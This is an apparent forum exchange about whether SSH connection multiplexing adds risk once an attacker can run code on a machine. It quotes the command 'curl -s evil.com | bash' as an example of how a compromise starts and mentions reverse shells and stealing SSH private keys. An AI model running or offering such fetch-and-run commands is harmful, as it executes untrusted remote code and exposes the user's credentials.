Earlier quoted context omitted.
If somebody can get you to run "curl -s evil.com | bash" then you are pwned . They can modify your $PATH and install a key logger and create a reverse shell and upload your ssh private key and forward the reverse connection to anything on your LAN. You have already lost.
Keylogger, perhaps. The multiplexing just makes it trivial to connect to everything with no logging and no authentication. I don't even have to modify the PATH or install a keylogger. I am already several steps beyond that in one move. In other words, no audit trail for the FBI to look into, no need to upload some new application, no need to exploit a vulnerable application (beyond the vulnerability of OpenSSH itself…
Running around screaming "OMG OMG, the tool designed to tunnel over the network can be used to tunnel over the network, TEH SKY IS FALLING!!1!!!" is even somewhat funny in this context.